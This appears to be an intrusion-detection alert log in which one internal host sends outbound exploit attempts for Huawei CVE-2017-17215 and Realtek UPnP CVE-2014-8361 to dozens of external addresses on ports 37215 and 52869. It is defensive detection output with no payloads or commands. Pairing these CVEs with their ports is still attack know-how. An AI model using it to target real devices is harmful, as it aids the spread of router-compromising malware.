ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 206.22.143.145

Timestamp:	07/20/24-23:01:34.050313
SID:	2835222
Source Port:	43576
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 94.32.208.135

Timestamp:	07/20/24-23:01:20.591702
SID:	2027339
Source Port:	40612
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.170.255.190

Timestamp:	07/20/24-23:01:24.876750
SID:	2829579
Source Port:	37540
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 110.244.30.5

Timestamp:	07/20/24-23:01:53.132473
SID:	2027339
Source Port:	43602
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 60.163.17.129

Timestamp:	07/20/24-23:01:26.115620
SID:	2027339
Source Port:	51190
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 45.122.145.145

Timestamp:	07/20/24-23:01:43.498156
SID:	2027339
Source Port:	47550
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 51.209.215.233

Timestamp:	07/20/24-23:01:42.683079
SID:	2831300
Source Port:	38692
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 108.225.154.233

Timestamp:	07/20/24-23:01:44.439012
SID:	2027339
Source Port:	48844
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 151.5.114.8

Timestamp:	07/20/24-23:01:01.404325
SID:	2027339
Source Port:	54976
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 123.6.144.179

Timestamp:	07/20/24-23:01:44.340422
SID:	2027339
Source Port:	39600
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 39.181.131.100

Timestamp:	07/20/24-23:01:41.305474
SID:	2027339
Source Port:	50966
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 132.171.123.209

Timestamp:	07/20/24-23:01:46.571223
SID:	2831300
Source Port:	34950
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.176.61.239

Timestamp:	07/20/24-23:01:40.321300
SID:	2829579
Source Port:	54292
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 67.14.83.223

Timestamp:	07/20/24-23:01:48.901809
SID:	2831300
Source Port:	34252
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 102.31.132.7

Timestamp:	07/20/24-23:01:51.576561
SID:	2027339
Source Port:	49878
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 38.85.208.126

Timestamp:	07/20/24-23:01:47.455724
SID:	2831300
Source Port:	60998
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 64.111.30.226

Timestamp:	07/20/24-23:01:51.835178
SID:	2027339
Source Port:	38042
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 78.200.30.164

Timestamp:	07/20/24-23:01:03.270954
SID:	2027339
Source Port:	41386
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 128.197.233.56

Timestamp:	07/20/24-23:01:43.084243
SID:	2025132
Source Port:	49044
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 1.7.30.66

Timestamp:	07/20/24-23:01:49.033216
SID:	2025132
Source Port:	47750
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.253.111.233

Timestamp:	07/20/24-23:01:24.882291
SID:	2829579
Source Port:	49764
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 203.236.42.147

Timestamp:	07/20/24-23:01:08.639622
SID:	2831300
Source Port:	50874
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 62.238.174.13

Timestamp:	07/20/24-23:01:47.117979
SID:	2025132
Source Port:	37426
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 178.124.248.177

Timestamp:	07/20/24-23:01:14.146543
SID:	2027339
Source Port:	45488
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 161.89.104.148

Timestamp:	07/20/24-23:01:52.720788
SID:	2027339
Source Port:	56934
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 193.18.125.219

Timestamp:	07/20/24-23:01:51.086033
SID:	2027339
Source Port:	59050
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 128.89.159.185

Timestamp:	07/20/24-23:01:03.834044
SID:	2025132
Source Port:	57978
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 4.114.3.131

Timestamp:	07/20/24-23:01:05.000501
SID:	2025132
Source Port:	39416
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 106.27.196.147

Timestamp:	07/20/24-23:01:41.328263
SID:	2025132
Source Port:	35892
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.1.189.223

Timestamp:	07/20/24-23:01:34.060991
SID:	2835222
Source Port:	47632
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.215.73.79

Timestamp:	07/20/24-23:01:40.279669
SID:	2829579
Source Port:	43798
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 207.214.48.137

Timestamp:	07/20/24-23:01:44.455702
SID:	2027339
Source Port:	45688
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 76.116.108.138

Timestamp:	07/20/24-23:01:51.875785
SID:	2027339
Source Port:	54080
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 63.226.8.25

Timestamp:	07/20/24-23:01:56.991428
SID:	2027339
Source Port:	53144
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 57.22.35.81

Timestamp:	07/20/24-23:01:59.449569
SID:	2025132
Source Port:	48850
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 17.63.153.183

Timestamp:	07/20/24-23:01:43.918790
SID:	2831300
Source Port:	58112
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 120.153.158.217

Timestamp:	07/20/24-23:01:56.579360
SID:	2831300
Source Port:	39336
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 221.199.165.178

Timestamp:	07/20/24-23:01:44.950737
SID:	2027339
Source Port:	51886
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 129.173.36.90

Timestamp:	07/20/24-23:01:52.972472
SID:	2025132
Source Port:	60870
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 84.203.232.104

Timestamp:	07/20/24-23:01:46.025818
SID:	2027339
Source Port:	44458
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 103.68.36.118

Timestamp:	07/20/24-23:01:41.383466
SID:	2027339
Source Port:	48316
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 181.98.41.184

Timestamp:	07/20/24-23:01:24.933370
SID:	2829579
Source Port:	41828
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 63.249.161.117

Timestamp:	07/20/24-23:01:34.060991
SID:	2835222
Source Port:	43312
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 160.103.123.17

Timestamp:	07/20/24-23:01:34.062277
SID:	2829579
Source Port:	54054
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 223.103.54.206

Timestamp:	07/20/24-23:01:43.450134
SID:	2025132
Source Port:	50512
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 60.220.21.170

Timestamp:	07/20/24-23:01:57.762774
SID:	2027339
Source Port:	58250
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 27.36.59.232

Timestamp:	07/20/24-23:01:42.979245
SID:	2025132
Source Port:	34166
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.86.217.223

Timestamp:	07/20/24-23:01:04.118165
SID:	2835222
Source Port:	37384
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 2.84.107.116

Timestamp:	07/20/24-23:01:43.994464
SID:	2027339
Source Port:	43924
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 80.70.75.159

Timestamp:	07/20/24-23:01:42.702732
SID:	2831300
Source Port:	49674
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 48.17.76.254

Timestamp:	07/20/24-23:02:13.086086
SID:	2831300
Source Port:	38684
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 195.184.165.232

Timestamp:	07/20/24-23:01:02.328384
SID:	2027339
Source Port:	51596
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.185.20.188

Timestamp:	07/20/24-23:01:11.635828
SID:	2829579
Source Port:	42574
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 117.200.16.247

Timestamp:	07/20/24-23:01:31.322217
SID:	2831300
Source Port:	40590
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 160.40.68.243

Timestamp:	07/20/24-23:01:41.337240
SID:	2025132
Source Port:	57208
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 190.100.221.147

Timestamp:	07/20/24-23:01:42.571884
SID:	2027339
Source Port:	47800
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 13.31.40.78

Timestamp:	07/20/24-23:01:44.698984
SID:	2027339
Source Port:	59242
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 192.45.244.106

Timestamp:	07/20/24-23:01:53.697003
SID:	2025132
Source Port:	34624
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 87.152.13.65

Timestamp:	07/20/24-23:02:12.267183
SID:	2831300
Source Port:	42036
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 51.209.215.233

Timestamp:	07/20/24-23:01:42.207149
SID:	2025132
Source Port:	38228
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 105.83.227.139

Timestamp:	07/20/24-23:01:43.158919
SID:	2027339
Source Port:	52984
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.180.36.121

Timestamp:	07/20/24-23:01:02.070492
SID:	2829579
Source Port:	36886
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 112.102.125.164

Timestamp:	07/20/24-23:01:45.074222
SID:	2027339
Source Port:	48114
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.212.226.255

Timestamp:	07/20/24-23:01:21.923917
SID:	2829579
Source Port:	56318
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 128.128.73.171

Timestamp:	07/20/24-23:01:43.659105
SID:	2027339
Source Port:	43892
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 54.68.100.131

Timestamp:	07/20/24-23:01:02.220064
SID:	2027339
Source Port:	47212
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 213.241.106.75

Timestamp:	07/20/24-23:01:08.599361
SID:	2027339
Source Port:	36014
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 45.38.7.5

Timestamp:	07/20/24-23:01:26.037548
SID:	2025132
Source Port:	52344
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 137.33.102.155

Timestamp:	07/20/24-23:03:04.216653
SID:	2027339
Source Port:	49818
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 144.14.202.149

Timestamp:	07/20/24-23:01:52.390301
SID:	2025132
Source Port:	51042
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 34.85.175.26

Timestamp:	07/20/24-23:01:53.697942
SID:	2027339
Source Port:	59366
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 158.207.166.74

Timestamp:	07/20/24-23:01:40.285038
SID:	2835222
Source Port:	38206
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 139.92.32.15

Timestamp:	07/20/24-23:01:42.883774
SID:	2027339
Source Port:	50866
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.221.87.32

Timestamp:	07/20/24-23:01:02.047411
SID:	2829579
Source Port:	41596
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 173.68.146.233

Timestamp:	07/20/24-23:01:44.203130
SID:	2027339
Source Port:	38468
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 208.111.2.186

Timestamp:	07/20/24-23:01:45.063335
SID:	2025132
Source Port:	40962
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 63.75.166.170

Timestamp:	07/20/24-23:01:41.370646
SID:	2027339
Source Port:	52726
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 157.175.172.46

Timestamp:	07/20/24-23:01:46.783122
SID:	2027339
Source Port:	38728
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 209.10.74.49

Timestamp:	07/20/24-23:01:52.569791
SID:	2025132
Source Port:	40128
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 117.32.81.72

Timestamp:	07/20/24-23:02:12.085791
SID:	2027339
Source Port:	37886
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 77.76.243.3

Timestamp:	07/20/24-23:01:03.258634
SID:	2027339
Source Port:	37000
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 170.211.30.37

Timestamp:	07/20/24-23:01:48.171604
SID:	2027339
Source Port:	37098
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 185.10.206.42

Timestamp:	07/20/24-23:01:55.903210
SID:	2027339
Source Port:	49220
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 85.144.205.165

Timestamp:	07/20/24-23:01:42.966322
SID:	2027339
Source Port:	51252
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 37.140.130.170

Timestamp:	07/20/24-23:01:53.021606
SID:	2027339
Source Port:	49206
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 115.35.215.139

Timestamp:	07/20/24-23:01:08.585790
SID:	2027339
Source Port:	33446
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.97.226.41

Timestamp:	07/20/24-23:01:31.981855
SID:	2829579
Source Port:	36682
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 39.124.235.174

Timestamp:	07/20/24-23:01:44.718858
SID:	2027339
Source Port:	58092
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 92.1.18.107

Timestamp:	07/20/24-23:01:42.175191
SID:	2831300
Source Port:	34602
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 91.202.203.164

Timestamp:	07/20/24-23:01:46.109943
SID:	2027339
Source Port:	55062
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 174.138.8.92

Timestamp:	07/20/24-23:01:43.224525
SID:	2831300
Source Port:	51680
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 193.12.149.189

Timestamp:	07/20/24-23:01:45.202570
SID:	2831300
Source Port:	43560
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 67.74.143.214

Timestamp:	07/20/24-23:01:59.377547
SID:	2027339
Source Port:	52764
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 153.0.45.254

Timestamp:	07/20/24-23:01:08.574948
SID:	2027339
Source Port:	39120
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 108.147.254.33

Timestamp:	07/20/24-23:01:58.067320
SID:	2027339
Source Port:	35074
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 200.200.4.87

Timestamp:	07/20/24-23:01:48.275988
SID:	2027339
Source Port:	54988
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 77.15.73.106

Timestamp:	07/20/24-23:01:53.503242
SID:	2831300
Source Port:	43326
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 161.244.156.106

Timestamp:	07/20/24-23:01:58.067320
SID:	2025132
Source Port:	52012
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

